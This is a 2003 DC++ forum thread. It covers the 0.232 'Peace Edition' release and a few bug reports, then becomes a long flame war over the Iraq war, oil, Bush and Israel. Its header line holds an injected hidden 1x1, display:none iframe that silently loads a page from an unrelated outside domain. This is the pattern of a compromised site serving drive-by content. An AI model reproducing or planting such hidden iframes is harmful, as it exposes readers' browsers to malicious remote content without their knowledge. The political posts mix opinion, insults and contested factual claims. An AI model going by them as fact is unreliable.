0.232

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

arnetheduck
The Creator Himself
Posts: 296
Joined: 2003-01-02 17:15

0.232

Post by arnetheduck » 2003-02-14 08:29

Ok, it's out, hope it's ok (no tests made at all...), I was in a hurry when releasing it due to the current political situation =)

nicke
Posts: 2
Joined: 2003-02-14 08:34

Post by nicke » 2003-02-14 08:37

I think the
http://dcplusplus.sourceforge.net/version.xml
contains a bug.
- "logs&sound", you cannot use the & this way
I didn't started the client, i'm just browsing the source

yakko
Posts: 258
Joined: 2003-01-27 01:04
Contact:

Post by yakko » 2003-02-14 10:34

anyone else having SF download problems?

grate
Posts: 1
Joined: 2003-02-14 11:49

Post by grate » 2003-02-14 11:56

I had thought I had a problem, but it showed up it was nothing more than slow servers. I had to wait for three minutes before my download begun.

Sapporo
Posts: 36
Joined: 2003-02-09 23:10
Location: AZ, USA

Post by Sapporo » 2003-02-14 12:34

Yeah, it took me damn near 10mins to find a mirror that would let me download it :)

"DC++ 0.232 - Peace Edition"

lol

yakko
Posts: 258
Joined: 2003-01-27 01:04
Contact:

Post by yakko » 2003-02-14 13:01

I normally get stuff from the telia mirror of SF at at least 70k, this one came in at 4-6k yuk

ivulfusbar
Posts: 506
Joined: 2003-01-03 07:33

Post by ivulfusbar » 2003-02-14 13:51

i love the peace-edition... i love what you did with it ,))
Everyone is supposed to download from the hubs, - I don´t know why, but I never do anymore.

prohhh
Posts: 1
Joined: 2003-02-14 16:11
Location: Germany / Hamburg
Contact:

I love the new version...

Post by prohhh » 2003-02-14 16:16

The "finished downloads" feature is great and MUCH more important:

Thank you very much to make a statement against this war.

Everybody watch TV on Feb. 15th!

Over 10 million :shock: people will then demonstrate worldwide against Bush's attack on Iraqi civilians. I'll go to the demonstration in Berlin, at least 150.000 are expected to be there.

see ya :D
It's not anti-american to be against a war that is anti-humanitarian. Everybody watch "Bowling For Columbine"!

dweet
Posts: 1
Joined: 2003-02-14 19:04

Post by dweet » 2003-02-14 19:05


volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Re: I love the new version...

Post by volkris » 2003-02-14 19:43

prohhh wrote:Over 10 million :shock: people will then demonstrate worldwide against Bush's attack on Iraqi civilians. I'll go to the demonstration in Berlin, at least 150.000 are expected to be there.


Must....resist....being.....pulled....into.....an....offtopic.....argument.

I'll just leave it at saying that if the French and Russians would think about more than oil and money they'd do the right thing and end this mindless push to cast the UN further into irrelevancy.

ftp
Posts: 19
Joined: 2003-01-22 19:17
Location: Some where By the sea
Contact:

Err

Post by ftp » 2003-02-14 21:20

I will say is I am boycotting french fries. :-p
Auto Kick, Ban and/ or Nick Ban the leeches
http://www.f-t-p.net/dc/
If You know who made this version let me know.

GargoyleMT
DC++ Contributor
Posts: 3212
Joined: 2003-01-07 21:46
Location: .pa.us

Post by GargoyleMT » 2003-02-14 21:58

nicke wrote:- "logs&sound", you cannot use the & this way
I didn't started the client, i'm just browsing the source


Mozilla certainly doesn't like it, but it the XML parsing in the client doesn't have a problem with it.

prohh wrote:The "finished downloads" feature is great and MUCH more important:


It looks like there's already a report (# 686876) in the bug forum on sf.net that says the crashing isn't fixed. :?

ftp
Posts: 19
Joined: 2003-01-22 19:17
Location: Some where By the sea
Contact:

I didn't write this before....

Post by ftp » 2003-02-15 04:34

K, whats up?
arnetheduck, you said you would never use.net now dc++ is .net since about 175.
Current versions (newer than 18) won't run right on any thing but windows 2k on newer.
Now "peace edition"?
I am very dissapointed!
Whats next ads? Are you selling out on us?

I don't disagree with your right to create, to make a different version of NMDC software, nor to make a version with your political views however, I thought DC++ was about freedom, freedom of choice, freedom from ads, freedom to edit, freedom to share, freedom of thought, freedom of OS, and just plain freedom from everything! Now the "Peace edition"?

I have loved DC++ but I will not run a DC client that tries to impress any polical views upon me. If you want your client to be an alterantive standard do you really feel it is fair to tie it into a policital view? Or am I wrong? Is the fact the DC++ is an alterantive standard not part of your mission statment? We now see many hubs which only allow DC++ is this not an alterantive standard?

Isn't File sharing about transending social, political, regional, international, and age barriers? Isn't just about sharing?

Wether I agree or disagree with your political position on the current state of world events should be on no concern. What ever of our concerns, they shoud never even enter into the equation as far as file sharing. Would you not agree?
Auto Kick, Ban and/ or Nick Ban the leeches
http://www.f-t-p.net/dc/
If You know who made this version let me know.

_-Jile-_
Posts: 1
Joined: 2003-02-15 04:39

Post by _-Jile-_ » 2003-02-15 04:42

I cant agree more -=F-T-P=-.... Personal opinions regarding political differences need to be left out..
Some people call me the black sheep of the family.

ivulfusbar
Posts: 506
Joined: 2003-01-03 07:33

Post by ivulfusbar » 2003-02-15 04:50

i can't think of any community filled with more politics than the dc-community..


is-this-only-my-oppinion-ly'ers?
Everyone is supposed to download from the hubs, - I don´t know why, but I never do anymore.

ftp
Posts: 19
Joined: 2003-01-22 19:17
Location: Some where By the sea
Contact:

Post by ftp » 2003-02-15 05:54

ivulfusbar:
i can't think of any community filled with more politics than the dc-community..


Really? I mean Really! How so? What am I missing? Or are you refering to network and personal struggles to show whom has the biggest D**k? I would agree, many see DC as a pissing tree. Is that what you mean as political? If so I would not debate you since that is not the topic of this thread nor would I disagree. However I have never really seen any real political debate brought to the dc world. If there is I would like to see it. The worlds events often fill my mind, I have never seen dc as a place to discuss such, but if it exested in the dc world I would like to join and be part of it.

As stated, I have never seen DC as such, maybe I have looked at dc wrong. I always looked at DC as just file sharing network with normal discent (i.e. pissing contests) but free of polical views. Please expain what you mean. Also please bare with me since this topic was not started by me. If the DC or the DC++ part of the world has become political I will embrace it as such, please just state it as such. It is not then do not introduce politics into this realm of the world.
Auto Kick, Ban and/ or Nick Ban the leeches
http://www.f-t-p.net/dc/
If You know who made this version let me know.

Sedulus
Forum Moderator
Posts: 687
Joined: 2003-01-04 09:32
Contact:

Re: I didn't write this before....

Post by Sedulus » 2003-02-15 07:27

ftp wrote:arnetheduck, you said you would never use.net now dc++ is .net since about 175. Current versions (newer than 18) won't run right on any thing but windows 2k on newer.

dc++ is compiled with vc7, which includes the possibility to program in .net style. but .net is garbage collected, java-style programming (and more); dc++ is still "old-style".
about dc++ not running on windows 98... I think that's a combination of 98 being a crappy OS, it being messed up by service packs and patches, and microsofts general unwillingness to support their "old" software.

ftp wrote:Now "peace edition"?
I am very dissapointed!
Whats next ads? Are you selling out on us?
this has nothing to do with ads. this is voicing your opinion with the power you have.
and it's not like the splash screen stays on your screen.

well... if you don't like 0232, don't use it. if it promoted war in iraq, _I_ would not use it.

volkris wrote:I'll just leave it at saying that if the French and Russians would think about more than oil and money they'd do the right thing and end this mindless push to cast the UN further into irrelevancy.
right.. this is turning everything around. just because the US wants war, the UN has to support it, or otherwise we can abandon the UN. I do agree that the institution is not doing a damn thing, and that Saddam needs to go. but why now? what about North-Korea? has anyone thought about a replacement government?
unfortunately, the US has us Europeans by the balls. we could never defend ourselves alone if some serious nation chose to attack us. in the end, the US is still the only superpower and gets to do what it wants and when.
http://dc.selwerd.nl/hublist.xml.bz2
http://www.b.ali.btinternet.co.uk/DCPlusPlus/index.html (TheParanoidOne's DC++ Guide)
http://www.dslreports.com/faq/dc (BSOD2600's Direct Connect FAQ)

scav
Posts: 23
Joined: 2003-02-15 07:19

Re: I love the new version...

Post by scav » 2003-02-15 07:50

volkris wrote:I'll just leave it at saying that if the French and Russians would think about more than oil and money they'd do the right thing and end this mindless push to cast the UN further into irrelevancy.

OMG, you just struck world record in stupidity.. gongrats man!

It's the U.S that is interested in oil, the BUSH-adminstration declared for the senats that the first priority after a war is to take control over the oil.. second is to change rulership in IRAK.

It's 4 things why U.S all of sudden is so interested in proclaiming war:
1. OIL (OIL OIL OIL).
2. They didn't catch Bin Ladin dispite Bush promise - therefore lets hunt some other enemy down.. lets smoke them out of there holes.. its a crusade and so on... - it's all about politics
3. His dad couldn't do it, now the crazy son will give it a try to justify the fathers "failure"
4. Bush want's to be re-elected and he knows that a short intense war will give him credit among his natives - it makes me sick!!
(BTW: his brother guvenor Jeb Bush accomplish several deathpenaltys just before election - just to get credits.. how the f**k can U send people into death just for politic interest?? The whole BUSH-family is rotten)

- The "threat" from IRAK is no bigger now than before the WTC so why this sudden interest?
- Howcome Israel gets to have mass-destruction weapon but not Irak?
- The Afghanistan is now in control - when will the bombing stop??
Nato keeps sending bomb-planes.. Afghanistan has become a practicefield for bombing - its outrageous!

PEACE ON EARTH - the UN should dethrone the bigget threat against world peace - George W. Bush !!

/No to war

ivulfusbar
Posts: 506
Joined: 2003-01-03 07:33

Post by ivulfusbar » 2003-02-15 08:51

no reason to call someone stupid, and yes, france and russia do more buisness with saddams iraq than the u.s does. So yes.. this is a factor in the game.. but i think this thread is going out of control..
Everyone is supposed to download from the hubs, - I don´t know why, but I never do anymore.

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Re: I didn't write this before....

Post by volkris » 2003-02-15 08:58

scav wrote:]right.. this is turning everything around. just because the US wants war, the UN has to support it, or otherwise we can abandon the UN. I do agree that the institution is not doing a damn thing, and that Saddam needs to go. but why now? what about North-Korea? has anyone thought about a replacement government?


That's completely not the issue. It's not a question of the UN enforcing what the US wants, it's a question of the UN enforcing what the UN wants. The UN made the decision to attack long ago, we're looking for followthrough.

North Korea is a completely different situation. They're effectually trying to get more money out of the international community with a threat that it doesn't really intend to follow through upon. But yeah, where's the UN there? It's another nation just thumbing its nose at the UN with the UN faililng to really do anything about it.

scav wrote:It's the U.S that is interested in oil, the BUSH-adminstration declared for the senats that the first priority after a war is to take control over the oil.. second is to change rulership in IRAK.


This doesn't make any sense at all. It's would be orders of magnitude cheaper for the US to get Iraq's oil by buying it. France and Russia, on the other hand, risk losing a whole lot of trade and debt payments if anything upsets the current leadership. So who's the one being bought?

Bush's dad could have done it. He chose not to based on a variety of factors, including international pressure and Iraq's promise to disarm. They broke the deal so it's time to finish the job.

scav wrote:Bush want's to be re-elected and he knows that a short intense war will give him credit among his natives - it makes me sick!!


Again, another statement that makes no sense. A quick war right now would not give him popularity that would last until the next election. By going to war now he HURTS his chances at a reelection, not helps.

scav wrote:The "threat" from IRAK is no bigger now than before the WTC so why this sudden interest?


Because Iraq's now had about twenty last chances to fulfil its agreement. It's time to draw the line.

I mean, with all of the people shouting to stop war, very few of them have anything to say. The things Scav wrote, for example, are all either irrelevant or flat out factually wrong. Heck, the oil argument even supports the way by pointing out that the OPPOSING countries are the ones with the vested intrests in the deal.

If you want to think about it fully, it's very arguable that Sadam HASN'T complied partially because of the support he's getting from the international anti-war community. Ironically, the anti-war folks are really contributing to a war in this way.

And I'd encourage the moderators to move this whole thread to offtopic.

scav
Posts: 23
Joined: 2003-02-15 07:19

well..

Post by scav » 2003-02-15 09:46

Of course oil is an interest for all countries in the world, Russian as well as US but if find it interesting that first priority for Bush after a war is to take control of the oil - second priority is the civilians and government changes..

A short war makes his popularity increase. I cannot understand how you can argue with that? Even the peaceclaimers will thank US if it'll be a short war with minor civil losses and Saddam steps down BUT if the war turns out to be a long one (years) that will cost enormous money and the similarity to Vietnam will be obvios.

I strongly claims that US cannot win the total war even if the immidiate war will be over in weeks - they will end up with a lot more enemies in the middle east and that'll generate many "terrorist" attacks.
There is a saying: Dont stick your nose in things that dont concern you. That is exactly what US have done in centurys and keep doing it still..

If you wonder why i put "" at terrorists I'll explain it now:
I absolutely don't think WTC was good - I strongly reject that action. But the interesting thought is WHY they did it? How can anybody hate a country so much that they are capabel of an action like that? People that have been in Israel do often find that out.. Years of humiliation of the Palistinien people generates that kind of actions.. I don't consider that terrorist action - I consider that act of desperation. Civilians should be kept out of war but what can the palistinien do? They are inferior in all aspects due to years of US support of Isreal so therefore its "understandable" why they did such a horrible thing.

Still the question remains: Why this sudden interest in Iraq and massdestruction - if Iraq had wanted to use them they would have time to use them years ago?
And why is Israel allowed to have such weapons?

US had nothing to do in Vietnam and they have nothing to do in Iraq either! Its up to UN to take action - not any crazy leader in US.

scav
Posts: 23
Joined: 2003-02-15 07:19

correction

Post by scav » 2003-02-15 09:52

A strong reason (among others) why al quida did WTC is the situation in Isreal/Palestina.
I made it look like it was Palestinian people that went through with it but thats not the case..

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Re: well..

Post by volkris » 2003-02-15 12:18

scav wrote:Of course oil is an interest for all countries in the world, Russian as well as US but if find it interesting that first priority for Bush after a war is to take control of the oil - second priority is the civilians and government changes..


Where do you get this idea?
The only context in which this is true is in the spirit of protecting the oil fields from senseless destruction (a la the first war) so that the civilians don't lose out on the income that the oil can provide to them. Otherwise, seeing as government changes have already begun your statement bears no merit.

A short war makes his popularity increase.


A short successful war makes his popularity increase, yes, but only for a short time. The next election is quite a ways off still, and a short war now will wear off between now and then. If Bush cared about the popularity increase, as you suggest, he would delay the war (tactics worthy of Clinton).

To talk about the reasons to join a war with Iraq you don't have to mention terrorism at all. That it might have any positive effect on terrorism is only a plus. In the end Iraq signed an agreement and then broke it. Now they must pay the consequences for breaking the agreement or else a dangerous precident will be set with regards to other agreements. You can argue all you want that the agreement should never have been made, but it was. This was was entered ten years ago; Saddam has simply decided to launch another volley.

How can anybody hate a country so much that they are capabel of an action like that?


You make the improper asumption that the WTC happened because of hatred. There are plenty of explanations for the act involving nothing but selfishness and political posturing.

what can the palistinien do? They are inferior in all aspects due to years of US support of Isreal so therefore its "understandable" why they did such a horrible thing.


A laughable and completely unrelated question.

Still the question remains: Why this sudden interest in Iraq and massdestruction - if Iraq had wanted to use them they would have time to use them years ago?


Because we finally have an honorable president in office who cares about more than his own writeups in the history books. We have one who believes in doing the Right Thing despite pressure and even payoffs in oposition. We just got out of eight years of Clinton, who let a whole lot of things slide and probably would have sold Iraq all the weapons it wants for the right price. Whether he's right or wrong it's refreshing to have diginity in the White House again... and he is very arguably correct on this one.

And why is Israel allowed to have such weapons?


Nonsequiter.
Why is France allowed to have fighter planes? The question is equally relevant.

Its up to UN to take action - not any crazy leader in US.


The US here is just following the stated wishes of the UN. The UN said it would fight if Iraq didn't fulfill certain obligations... and every report since said that it didn't fulfill the stated obligations. By standing to fight the US is fighting the UN's battle.

scav
Posts: 23
Joined: 2003-02-15 07:19

...

Post by scav » 2003-02-15 13:50

Are you for real or are you just messing around?
Selfishness is an explanation... ROFL

You and me have only one thing in common - we both want Saddom to vanish but I'd like Bush to get lost to..

UN reported 1984 that Iraq spread huge amount of mustard gas - US didn't give a shit about it. Why? They supported Iraq because they were afraid that a potentially muslim revelution would conquer the oil and that would get negative consequences for US echonomy.
Instead George Bush senior personally made sure that Bagdad could lend 500M usd to make Saddam continue war against Iran. That was all about oil and it still is, GET IT ?
US consumes one quarter of the worlds oilproduction. Half of the consumption is imported. Iraq is the next biggest producer - get control over Iraqs mines will secure the world prices and US echonomiy.

Everything just stinks about the whole situation..
This is an example of how rotten US/Gbr acts to get a positive opinion.
GBR presented a 20 pages report that "prooved" that Iraq has weapons for massdestruction. Page 6-16 was copied from a student - "Ibrahim al-Marashis". It was an essay that he wrote 1991 when he was studying at universty of California..

"honorable president" hahahaha
Let me see..hm.. Wasn't that the same guy that forced him self ahead in queue fo Nationalgardian (dont know the spelling) because he was afraid that he might get called in for Vietnam?
He got away with it thanks to his father (by that time Senator).
He spent a lot of the governments money practicing flying with fighterplanes (just for fun?).
1972 he deserted - dispite the regulations..
Isn't that ironic - a deserter gets control over the worlds greatest war-machinery?

Obviosly you don't see the connection between Israel - WTC and "failure to get bin Ladin" - Saddam, economic situation in US and its war-machinery and so forth so therefore I don't see any point arguing with you. Take some time off and read some (non-American paper) about the situation in Israel and you'll figure it out for your self I guess..

scav
Posts: 23
Joined: 2003-02-15 07:19

Re: well..

Post by scav » 2003-02-15 13:57

volkris wrote:
And why is Israel allowed to have such weapons?


Nonsequiter.
Why is France allowed to have fighter planes? The question is equally relevant.

Well - according to NPT (Non-Proliferation Treaty) it's only US, Russia, GBR, France och China that is allowed to have nuclear weapons and I don't see Israels name there, do you ?
So how can the question be not relevant?

sandos
Posts: 186
Joined: 2003-01-05 10:16
Contact:

Warning, this post is on-topical!

Post by sandos » 2003-02-15 14:42

0.232 has a pretty severe bug:

http://sourceforge.net/tracker/index.php?func=detail&aid=686684&group_id=40287&atid=427632

and it seems it should be easy for Arne to fix. Not for me though.

timeleft
Posts: 1
Joined: 2003-02-15 17:24

peace edition = crap

Post by timeleft » 2003-02-15 17:47

"peace"? bah, "piece" of crap
[cz][upc]timeleft
"pr0n is p0wer"

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Re: ...

Post by volkris » 2003-02-15 18:04

Scav, obviously I disagree with just about everything you just said on FACTUAL grounds, not even getting into matters requiring interpretation, but in the end hardly any of it matters. I shouldn't have been led into a discussion of it in the first place. If you wish to continue to enlarge the scope of discussion as you have done then you we will both need to take a year off to do nothing but discuss it full time. Volumes of informaiton will come into play, and we will each need staffs to handle the load.

It boils down pretty easily, though: Iraq made a deal that the US wouldn't continue the attack if it disarmed, allowing in inspectors and cooperating fully. It stoped cooperating fully, and so it's time to continue the attack. They broke the deal they accepted, and so they have to pay.

Then there's the UN, which also signed an agreement that if Iraq didn't cooperate fully they will be subject to attack. They are not cooperating fully, and so the UN has given its approval for an attack.

There's not much more than that at this point. It's arguable that these deals should never have been made, and it's arguable that they should have been. But what does it matter? They have been.

And please, you have no idea where I get my news, so don't make assumptions.

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-15 19:57

You seems to look at everything in matter of black and white when you narrow it down to "They broke a promise, it's time to punish them now"
War should be the absolut last solution - I wonder why mr Bush is in such a hurry but Hey, he is the good guy and Saddam is evil personified right?

At first US tried to claim that they have right to go to war and calls it "War against terrorists". That title of war is infact the only reason for approvment US could get from UN BUT nobody has any proof whatsoever of connections between al Quida and Saddam. Not even the most anxios war-claimer has come up with that. UN should/would NOT improve war just because Iraq dont co-operates in americans point of view.
No, Saddam should be disarmed in time. Let the inspectors get the time they need to fulfill their obligations. Then based on their possible facts they might come up with should be ground for any wardeclerations..

I DO NOT in any way defends Saddam and his regime but a war against Iraq based on broken promises will cause major suffer for the civilians and generate more acts of desperation..
But that's not an issue right?
Over 200.000 Iraqis died in the Gulf-war compare to a "handful" of americans..
Every sewage treatment facilities were destroyed and Iraq were forbidden to import spare parts - UN estimates about 500.000 children died due to unclean water..
Do you honestly think that these kind of losses are OK just because Saddam broke his promise as you said it?

You may continue your life believing the broken promise theory and I won't take more examples of oil, Israel, politics and so on. I just let my previos posts be reference for that.

I don't think these indication of potentially weapons are enough.
The world needs hard evidence of these weapons before a war is justified.
That is one of the reasons why GBR pulled a longshot and took an old essay and claimed that to be proof. Now who's the terrorist??

Hasn't it crossed your mind why people like Jimmy Carter (Nobel price of peace) and Nelson Mandela etc rejects war in this stadium? Think about it. Really - think about it. Do you think Cowboy Bush knows more about peace and understanding than these guys?

You still havn't comment on one issue: Howcome Israel gets to have nuclear weapons? Why doesn't mr Bush threaten Ariel Sharon?
I think I know the answer to that - do you?

There is so much that is fucked up in this world - we in the west grows up in believe that we are the good guys - arabs/russians/etc are the bad guys.. That is most likely the reason why there isn't so many people that reacts when there are more civilian that have died in Afghanistan during "War against terrorists" than in WTC crash - how many "Silent minutes" have you had for them? Right - the are muslims you know..
My point is: It's easy to yell WAR but please consider that it's innocents human lifes that we takes in our handes..

AlleyKat
Posts: 40
Joined: 2003-01-31 15:37
Location: Denmark

Post by AlleyKat » 2003-02-15 19:58

GET-A-LIFE-lyers-dudes!!!!! STOP IT!! Arnetheduck made a VERY RELEVANT political statement with this version - and as far as I know, NO-BODY (yes, himself!) asked you to download it. So, if you hav a problem, PLZ uninstall and go back to NMDC or whatever. But no freakin' complaints, or write your own goddam version! Darn Bushheads (means totally, permanently and irrevocably without brain, but with a DADDY on your back).

I'n under construction with a PHP-board... when it's done, come and tell us why that psycho should be allowed to throw bombs in all those parts of the world who are NOT responsible for the Anthrax in the US. And tell us why Arizona isn't bombed... the Anthrax WAS traced to a US facility, right...



John F. Kennedy wrote:When power narrows the areas of man’s concern, poetry reminds him of the richness and diversity of his existence. When power corrupts, poetry cleanses." (Address at dedication of the Robert Frost Library, Amherst College, MA, October 1963)


[quote="John F. Kennedy"]"What kind of peace do we seek? Not a 'Pax Americana' enforced on the world by American weapons of war. Not the peace of the grave or the security of a slave. I am talking about genuine peace, the kind of peace that makes life on earth worth living, the kind that enables men and nations to grow and to hope and to build a better life for their childrenâ€â€

AlleyKat
Posts: 40
Joined: 2003-01-31 15:37
Location: Denmark

Post by AlleyKat » 2003-02-15 20:03

Sorry, have to go on... I hit a quote that Bush never read (but then again, what HAS that dude really read... "The General. His name is the General".)

George Hyman Rickover wrote:The more you sweat for peace, the less you bleed in war


Bertha von Suttner wrote:You cannot paint white with charcoal, and you cannot ensure peace by war.

GargoyleMT
DC++ Contributor
Posts: 3212
Joined: 2003-01-07 21:46
Location: .pa.us

Re: Warning, this post is on-topic!

Post by GargoyleMT » 2003-02-15 21:07

sandos wrote:0.232 has a pretty severe bug:

http://sourceforge.net/tracker/index.php?func=detail&aid=686684&group_id=40287&atid=427632

and it seems it should be easy for Arne to fix. Not for me though.


w00t. It looks like fun. Besides, the rest of this thread is destined for the "we should have used our mod powers sooner" topic.

RandyRB
Posts: 7
Joined: 2003-01-23 21:39
Location: USA

Post by RandyRB » 2003-02-15 23:37

you know it GargoyleMT

RandyRB
Posts: 7
Joined: 2003-01-23 21:39
Location: USA

Post by RandyRB » 2003-02-15 23:38

pa usa where, I am pa usa also.

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Post by volkris » 2003-02-16 15:57

scav wrote:You seems to look at everything in matter of black and white when you narrow it down to "They broke a promise, it's time to punish them now"
War should be the absolut last solution - I wonder why mr Bush is in such a hurry but Hey, he is the good guy and Saddam is evil personified right?


I'd hardly call ten years of trying through other means "a hurry". Every other solution has been tried. Nobody is proposing any new solutions.

It's also not a promise they broke, but rather an agreement. They didn't just promise not to disarm, they made the agreement that they wouldn't be attacked if they disarmed.

At first US tried to claim that they have right to go to war and calls it "War against terrorists". That title of war is infact the only reason for approvment US could get from UN BUT nobody has any proof whatsoever of connections between al Quida and Saddam. Not even the most anxios war-claimer has come up with that.

UN should/would NOT improve war just because Iraq dont co-operates in americans point of view.


Whatever their reasons, the UN DID approve it.

Now, whether or not there is proof of an Iraq-terrorism link is questionable. There is evidence out there, whether or not it is sufficient to be proof is kind of a personal opinion. I havn't seen the proof myself, but plenty of people have and have had their opinions changed completely.

Let the inspectors get the time they need to fulfill their obligations.


The inspectors have already fulfilled their obligations by determining that Iraq is not interested in proving that it has disarmed. Their task is complete.

Do you honestly think that these kind of losses are OK just because Saddam broke his promise as you said it?


Yes, yes I do.
This is Saddam effectively holding his own people as hostages, ransoming them to the rest of the world. It's the exact same thing as when Saddam piles civilians right next to a building that he knows is about to be hit. We (the international community) can't let him get away with anything he feels like just because he threatens to hurt his own people in the process.

I mean, you want inspectors in there but what if he threatens to start torturing his people (even more than he already is) if they are forced upon him? Would you continue to demand that inspectors go in? It's the exact same thing.

You may continue your life believing the broken promise theory and I won't take more examples of oil, Israel, politics and so on. I just let my previos posts be reference for that.


There ARE no examples of oil except for reasons as to why France, et al, refuse to back action. It makes NO sense for oil to be a reason to GO to war, as it is orders of magnitude less expensive for any country to purchase the oil through normal channels.

Now who's the terrorist??


Osama and Saddam.

Hasn't it crossed your mind why people like Jimmy Carter (Nobel price of peace) and Nelson Mandela etc rejects war in this stadium? Think about it. Really - think about it. Do you think Cowboy Bush knows more about peace and understanding than these guys?


Yes, yes I do. It is extremely arguable that Jimmy Carter, for example, caused much more war, pain, and suffering than he ever helped.

Howcome Israel gets to have nuclear weapons? Why doesn't mr Bush threaten Ariel Sharon? I think I know the answer to that - do you?


You still havn't shown how this is relevant at all. I'm not interested in proving anything related to Israel to you because it has no bearing on this. If a person or country seems to be acting inconsistently it doesn't make either action wrong. I think I know the answer, but I'm not going to say anything other than this: it's a completely uncomparable situation.

After all, you've never convinced me as to why the international community allows France to continue to own fighter planes. Why don't you get into that, hmmm?

AlleyKat wrote:Sorry, have to go on... I hit a quote that Bush never read (but then again, what HAS that dude really read... "The General. His name is the General".)


You know, even Bush's harshest critics admit that when they speak to him in private he turns out to be a very smart, well read man. People seem to miss that when they base their views of him only on his accent and carriage.

sarf
Posts: 382
Joined: 2003-01-24 05:43
Location: Sweden
Contact:

Post by sarf » 2003-02-16 17:37

Sorry to butt in, but I just had to get my eight and a half cents worth of ideas and concepts into the discussion. Flame away when ready!
volkris wrote:I'd hardly call ten years of trying through other means "a hurry". Every other solution has been tried. Nobody is proposing any new solutions.

Not every solution has been tried (just to be nit-picky). We could try to isolate the state of Iraq from the rest of the world for a century, and I am sure that's a new "solution". It's definitely not a good one, and I am only writing about it to show that there are other solutions - but that I'd be damned if I can find a good one.

volkris wrote:It's also not a promise they broke, but rather an agreement. They didn't just promise not to disarm, they made the agreement that they wouldn't be attacked if they disarmed.

This does not mean, however, that someone has to attack them if they break their agreement - just that someone can do so... if they want to attack legitimately.

volkris wrote:At first US tried to claim that they have right to go to war and calls it "War against terrorists". That title of war is infact the only reason for approvement US could get from UN BUT nobody has any proof whatsoever of connections between al Quida and Saddam. Not even the most anxious war-claimer has come up with that.

Well, I like the "War against terrorists". I like like "Operation: Infinite Justice" (or whatever it was called). I like them because I want the nations of the world to be able to call any and all enemies "terrorists", all POWs could be "soldiers without a nation" (or rather, no nation your nation concedes to have legitimate existance) and we could all torture our POWs in nice little camps together, perhaps getting a few of the old boys in uniform to sing "Mein Vaterland, Du bist so schön" or whatever. I like it because it is a way to increase the chaos of the world to almost limitless proportions, pitting neighbours against neighbours, making the act of turning in your friends and family as "enemies of the State" honorable again. I don't like the way the world looks, and the chaos that will be unleashed by such acts would sure change the world... for better or worse. Then again, I am a bit of an anarchist at heart, so I would probably be "first against the wall", I'd guess. Enough rant for one quote.

volkris wrote:Now, whether or not there is proof of an Iraq-terrorism link is questionable. There is evidence out there, whether or not it is sufficient to be proof is kind of a personal opinion. I havn't seen the proof myself, but plenty of people have and have had their opinions changed completely.

This means, of course, squat. Zip. Zilch. Zero. I have heard of people that have been convinced that they have been cured of various ailments by being touched by someone. I have even had a spiritual revelation myself (not connected to religion).
Does that mean that someone else should blindly follow what I (or anyone else) has experienced? No. First-hand experience is required for an informed choice to be made, and I consider non-informed choices to be guessing. I do not like to guess on matters that could prove life and death to countless others, and I do not like it when other people do (that's not saying that I do not make uninformed choices or guess/hope about matters of importance, merely that I do not like doing so).

volkris wrote:The inspectors have already fulfilled their obligations by determining that Iraq is not interested in proving that it has disarmed. Their task is complete.

I thought they were there to ascertain whether Iraq has weapons of mass destruction. Or was that a secondary objective?

While I do concede that determining that Saddam is reluctant to fulfill the obligations is important, I do not consider it very surprising - in fact, if I had been forced to meet obligations under duress, I would be rather reluctant to fulfill them myself, and I would drag my feet, no matter how justified the forced obligations were.

volkris wrote:This is Saddam effectively holding his own people as hostages, ransoming them to the rest of the world. It's the exact same thing as when Saddam piles civilians right next to a building that he knows is about to be hit. We (the international community) can't let him get away with anything he feels like just because he threatens to hurt his own people in the process.

We might, however, try not using weapons of mass destruction (as has been proposed) on Iraq ourselves, or we can kiss our credibility goodbye. I find the very idea of using NBC weapons against Iraq because Iraq might have NBC weapons itself hilarious (oh, alright, Iraq does almost certainly have chemical weapons potential). What a grandstand! "Now look here, Saddam, don't you dare get nuclear weapons or whatnot, because we're afraid you're gonna use 'em. Hope you've learned your lesson after we've turned your turf into radioactive wasteland."

volkris wrote:I mean, you want inspectors in there but what if he threatens to start torturing his people (even more than he already is) if they are forced upon him? Would you continue to demand that inspectors go in? It's the exact same thing.

Well, I would start war-mongering myself (I am not really against a war in Iraq, just against the arrogance of many nations regarding UN and certain other countries).

volkris wrote:There ARE no examples of oil except for reasons as to why France, et al, refuse to back action. It makes NO sense for oil to be a reason to GO to war, as it is orders of magnitude less expensive for any country to purchase the oil through normal channels.

Well, it's a damned inconvenient time to have connections to the oil-industry. While not the reason to go to war, it might at least be a contributing factor, eh? Oh, sure, the oil is to go to the rebuilding of Iraq, but who is going to control the flow of oil, hmm? Suspicions should be raised, even if they are unfounded.

volkris wrote:You still havn't shown how this is relevant at all. I'm not interested in proving anything related to Israel to you because it has no bearing on this.

The only relevance is that some nations are allowed to get nuclear weapons and others are not, and that the only thing that matters is either a) that the nation got the nuclear weapons early enough that USA can't very well demand that they be removed now or b) that the nation in question is on chummy terms with USA and/or another major player in the ball-league. Heck, I don't see why Sweden should not get NBC weapons just for the fun of it - it'd be great to have some nice shiny missiles to make up for certain age-related disabilities later on.

volkris wrote:If a person or country seems to be acting inconsistently it doesn't make either action wrong. I think I know the answer, but I'm not going to say anything other than this: it's a completely uncomparable situation.

Ehm... well, yes, but then again, no situation are truly the same as any other, nor can most (if any) situation be compared to another... at least not if you want to get a rational and useful answer. That's my world, at least, and dark, gloomy and irrational that it may be, it works for me.

volkris wrote:After all, you've never convinced me as to why the international community allows France to continue to own fighter planes. Why don't you get into that, hmmm?

Maybe because they have to something to show on their military air-shows, hmm?

volkris wrote:You know, even Bush's harshest critics admit that when they speak to him in private he turns out to be a very smart, well read man. People seem to miss that when they base their views of him only on his accent and carriage.

That people change their opinions of him might be because he is really a very well educated person with a thought process as precise, clear and fast as any computer. It might be because he has charisma that allows him to appear as a smart, well read man. It might be due to a combination of the two factors. I prefer to see him as "Cowboy Bush", waving his nuclear missiles around and refusing to allow American soldiers to be judged by international courts, refusing terrorists their human rights and executing minors. That may be just me, but it scares me less than imagining a very smart, well read man whose people have had plans to use nuclear weapons against a nation suspected of having weapons of mass destruction, who seem to purposely try to ignite the situation by deliberately treading on the feets of prospective allies and who used his connections to "fix" his elections.
